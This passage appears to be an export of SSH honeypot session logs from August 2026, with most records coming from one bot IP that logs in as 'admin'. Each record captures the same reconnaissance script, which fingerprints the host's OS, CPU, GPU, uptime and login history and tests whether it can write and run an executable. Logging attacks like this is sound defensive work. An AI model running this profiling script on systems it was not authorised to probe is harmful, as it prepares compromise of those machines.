\"FILTER:$filter_output\"",
  "started_at": "2026-08-25T19:06:58.095947+00:00",
  "ended_at": "2026-08-25T19:06:58.205688+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "06786c69-887b-4748-a059-96aa42d97881",
  "name": "sleepy-silent-capuchin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 33446,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T19:06:23.343715+00:00",
  "ended_at": "2026-08-25T19:06:23.798886+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cc41de48-8a13-4670-901a-fe998ff8bb77",
  "name": "quiet-knotted-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 34416,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T19:05:12.059675+00:00",
  "ended_at": "2026-08-25T19:05:12.176509+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "5009907f-aa9d-4d7e-a5ed-ac7b75b2acfd",
  "name": "vivid-wiry-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 59742,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T19:03:32.050312+00:00",
  "ended_at": "2026-08-25T19:03:32.682697+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "5d64b596-f380-43b3-ad91-686045aa0ebd",
  "name": "orderly-primal-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 56832,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T19:01:59.683605+00:00",
  "ended_at": "2026-08-25T19:02:00.168294+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "20527f80-f56f-408e-bb64-1d83b42823f4",
  "name": "meadow-watchful-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 53912,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T19:00:25.198641+00:00",
  "ended_at": "2026-08-25T19:00:25.307249+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "2002b635-d0fc-43c9-9ed2-5fcc699a9cfa",
  "name": "lonesome-weathered-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 50990,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:58:48.699064+00:00",
  "ended_at": "2026-08-25T18:58:48.793315+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "b585e2de-33fa-4ade-bb97-3d629c09c0ed",
  "name": "downy-fierce-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 48074,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T18:57:18.348278+00:00",
  "ended_at": "2026-08-25T18:57:18.445145+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8fe7d103-2c48-4410-a063-2ecce1164df1",
  "name": "quartz-restless-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.217",
  "src_port": 45142,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
